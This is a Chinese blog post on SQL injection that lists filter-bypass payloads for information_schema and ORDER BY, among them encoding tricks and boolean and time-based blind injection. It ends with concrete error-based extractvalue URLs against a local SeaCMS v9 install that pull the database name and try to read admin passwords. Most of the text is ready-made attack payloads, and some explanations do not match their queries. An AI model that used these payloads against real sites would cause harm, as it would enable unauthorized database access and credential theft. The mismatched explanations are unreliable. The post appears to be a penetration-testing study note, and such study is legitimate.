当前位置: 首页 > news >正文

绕过information_schema;绕过Order by;seacmsv9实现联合注入数据

一、绕过过滤information_schema

1. 替代系统表或视图

如果 information_schema 被直接过滤,可以使用其他系统表或视图来获取元数据,但有版本限制

(1) 使用 sys 数据库(MySQL 5.7+)

--获取所有表名

SELECT table_name FROM sys.schema_auto_increment_columns WHERE table_schema = DATABASE();

--获取所有列名

SELECT table_name, column_name FROM sys.schema_columns WHERE table_schema = DATABASE();

(2) 使用 mysql.innodb_table_stats

--获取表名

SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();

(3) 使用 mysql.tables_priv

 --获取表名

SELECT table_name FROM mysql.tables_priv WHERE db = DATABASE();

2.编码混淆绕过

(1) URL 编码

将 information_schema 转换为 URL 编码:

SELECT table_name FROM %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61.tables WHERE table_schema=DATABASE();

(2) Unicode 编码

SELECT table_name FROM information\u005f_schema.tables WHERE table_schema=DATABASE();

(3) 十六进制编码

SELECT table_name FROM 0x696e666f726d6174696f6e5f736368656d61.tables WHERE table_schema=DATABASE();

3. 内联注释绕过

利用 MySQL 的 /*!*/ 注释分割关键词:

SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();

4. 关键字分割

通过空格、换行符或特殊字符分割 information_schema:

SELECT table_name FROM information/**/_schema.tables WHERE table_schema=DATABASE();

二、绕过过滤Order by

1. 使用 UNION SELECT 绕过

如果 ORDER BY 被过滤,可以尝试通过 UNION SELECT 注入数据。

1' UNION SELECT 1,2,3 --

确保 UNION SELECT 的列数与原查询一致。

通过 UNION SELECT 提取数据,例如表名、列名等。

2. 使用 CASE WHEN 盲注

通过 CASE WHEN 构造布尔条件,实现盲注。

布尔盲注

ORDER BY (CASE WHEN (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a' THEN SLEEP(5) ELSE 1 END);

如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。

时间盲注

如果表名的第一个字符是 a,则延迟 5 秒。

3. 使用 IF 函数

通过 IF 函数构造条件,实现盲注。

布尔盲注

ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',1,2);

如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。

时间盲注

ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',SLEEP(5),1);

如果表名的第一个字符是 a,则延迟 5 秒。

4. 使用 FIELD 函数

通过 FIELD 函数构造条件,实现盲注。

ORDER BY FIELD((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),'a',1,2);

如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。

5. 使用 REGEXP 正则表达式

通过 REGEXP 构造条件,实现盲注。

ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) REGEXP '^a';

如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。

6. 使用 ASCII 函数

通过 ASCII 函数逐字符判断,实现盲注。

ORDER BY ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97;

如果表名的第一个字符的 ASCII 码是 97(即 a),则按 1 排序;否则按 2 排序。

7. 使用 LIMIT 和 OFFSET

通过 LIMIT 和 OFFSET 逐行提取数据。

ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0);

提取第一行的表名。

8. 使用 GROUP BY 和 HAVING

通过 GROUP BY 和 HAVING 构造条件,实现盲注。

GROUP BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) HAVING 1=1;

提取表名并分组。

9. 使用 JOIN 子查询

通过 JOIN 子查询提取数据。

ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1);

提取表名并排序。

10. 使用 UNION 和 SELECT 子查询

通过 UNION 和 SELECT 子查询提取数据。

1' UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) --

提取表名并注入到查询结果中。

三、seacmsv9实现报错注入数据

后端代码:

gid=1:评论组 ID。

page=2:页码。

rlist[]=...:评论 ID 列表(注入点)。

补充:concat_ws和 concat的区别:

1. CONCAT 函数

语法

sql

复制

CONCAT(string1, string2, ...)

功能

将多个字符串按顺序拼接在一起。

如果任意一个字符串为 NULL,则整个结果为 NULL。

示例

sql

复制

SELECT CONCAT('Hello', ' ', 'World');  -- 输出: 'Hello World'

SELECT CONCAT('Hello', NULL, 'World'); -- 输出: NULL

 

2. CONCAT_WS 函数

语法

sql

复制

CONCAT_WS(separator, string1, string2, ...)

功能

将多个字符串按顺序拼接在一起,并在每个字符串之间插入指定的分隔符。

如果分隔符为 NULL,则结果为 NULL。

如果某个字符串为 NULL,则忽略该字符串,但不会影响其他字符串的拼接。

示例

sql

复制

SELECT CONCAT_WS('-', '2023', '10', '05'); 

-- 输出: '2023-10-05'

SELECT CONCAT_WS('-', '2023', NULL, '05'); 

-- 输出: '2023-05'

SELECT CONCAT_WS(NULL, '2023', '10', '05');

-- 输出: NULL

3. 主要区别

 当我们输入以下时会回显数据库名:

127.0.0.1/cmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@`%27`

当爆数据库用户密码时又不回显了 

127.0.0.1/cmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

注入失败!

相关文章:

  • 安全测试|SSRF请求伪造
  • 剑指 Offer II 019. 最多删除一个字符得到回文
  • Macos机器hosts文件便捷修改工具——SwitchHosts
  • Jmeter断言、关联、录制脚本
  • 【ISO 14229-1:2023 UDS诊断全量测试用例清单系列:第十六节】
  • Seaweedfs(master volume filer) docker run参数帮助文档
  • STM32 外部中断和NVIC嵌套中断向量控制器
  • 内容中台重构企业内容管理流程驱动智能协作升级
  • 【一文读懂】什么是MVVM?
  • 打印问题总结
  • Redis之持久化
  • Vue 实现主题切换(明暗)
  • 解密DNSlog
  • FTP服务
  • 「软件设计模式」单例模式(Singleton)
  • Python的那些事第二十三篇:Express(Node.js)与 Python:一场跨语言的浪漫邂逅
  • MySQL DELETE 语句
  • 数据结构6-二叉树、时间复杂度
  • C# 使用FreeSpire.doc 生成带有页码的目录
  • 力扣 438.找到字符串中所有字母异位词
  • 中国防疫队深入缅甸安置点开展灾后卫生防疫工作
  • 韩国下届大选执政党初选4进2结果揭晓,金文洙、韩东勋胜出
  • “上海-日喀则”直飞航线正式通航,将于5月1日开启首航
  • 五一期间上海景观照明开启重大活动模式,外滩不展演光影秀
  • 全球前瞻|王毅赴巴西出席金砖外长会,加拿大迎来“几十年来最重要大选”
  • 央行副行长:我们在研究丰富政策工具箱,将适时推出增量政策